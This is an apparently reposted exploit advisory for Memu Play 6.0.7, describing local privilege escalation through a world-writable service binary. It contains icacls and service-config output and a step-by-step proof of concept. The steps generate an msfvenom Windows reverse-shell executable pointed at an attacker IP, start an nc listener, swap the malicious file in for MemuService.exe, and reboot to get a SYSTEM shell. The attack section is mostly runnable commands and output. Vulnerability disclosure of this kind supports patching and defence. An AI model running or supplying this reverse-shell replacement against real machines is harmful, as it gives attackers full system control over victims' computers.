• [EXP]Memu Play 6.0.7


    # Exploit Title: Memu Play 6.0.7 - Privilege Escalation (PoC)
    # Date: 20/02/2019
    # Author: Alejandra Sánchez
    # Vendor Homepage: https://www.memuplay.com/
    # Software Link: https://www.memuplay.com/download-en.php?file_name=Memu-Setup&from=official_release
    # Version: 6.0.7
    # Tested on: Windows 10 / Windows 7
    
    
    # Description:
    #  Memu Play 6.0.7 suffers from Privilege Escalation due to insecure file permissions
    
    # Prerequisites
    # Local, Low privilege access with restart capabilities
    
    # Details
    # By default the Authenticated Users group has the modify permission to ESM folders/files as shown below.  
    # A low privilege account is able to rename the MemuService.exe file located in this same path and replace 
    # with a malicious file that would connect back to an attacking computer giving system level privileges 
    # (nt authoritysystem) due to the service running as Local System.  
    # While a low privilege user is unable to restart the service through the application, a restart of the 
    # computer triggers the execution of the malicious file.
    
    
    C:>icacls "C:Program Files (x86)MicrovirtMEmuMemuService.exe"
    C:Program Files (x86)MicrovirtMEmuMemuService.exe Everyone:(I)(F)
                                                          BUILTINAdministrators:(I)(F)
                                                          BUILTINUsers:(I)(F)
                                                          NT AUTHORITYSYSTEM:(I)(F)
    
    
    Successfully processed 1 files; Failed processing 0 files
    
    
    C:>sc qc MEmuSVC
    [SC] QueryServiceConfig SUCCESS
    
    SERVICE_NAME: MEmuSVC
            TYPE               : 10  WIN32_OWN_PROCESS
            START_TYPE         : 2   AUTO_START
            ERROR_CONTROL      : 1   NORMAL
            BINARY_PATH_NAME   : C:Program Files (x86)MicrovirtMEmuMemuService.exe
            LOAD_ORDER_GROUP   :
            TAG                : 0
    
    
    # Proof of Concept
    
    1. Generate malicious .exe on attacking machine
        msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.130 LPORT=443 -f exe > /var/www/html/MemuService.exe
    
    2. Setup listener and ensure apache is running on attacking machine
        nc -lvp 443
        service apache2 start
    
    3. Download malicious .exe on victim machine
        Open browser to http://192.168.1.130/MemuService.exe and download
    
    4. Overwrite file and copy malicious .exe.
        Renename C:Program Files (x86)MicrovirtMEmuMemuService.exe > MemuService.bak
        Copy/Move downloaded 'MemuService.exe' file to C:Program Files (x86)MicrovirtMEmu
    
    5. Restart victim machine
    
    6. Reverse Shell on attacking machine opens
        C:Windowssystem32>whoami
        whoami
        nt authoritysystem
                
  • 相关阅读:
    随机生成手机号,QQ号,姓名...小工具类汇总
    简单的时间格式转换工具类(java)
    判断某个时间点在一个时间段内方法汇总
    AES加密解密代码(key是16位)--java
    Linux下查看CPU、内存、磁盘信息
    idea如何优雅部署项目到weblogic
    weblogic部署项目
    程序员必知的十大基础实用算法及其讲解
    Java开发工具包 ==> Hutool
    java基础-泛型举例详解
  • 原文地址:https://www.cnblogs.com/k8gege/p/10533544.html
Copyright © 2020-2023  润新知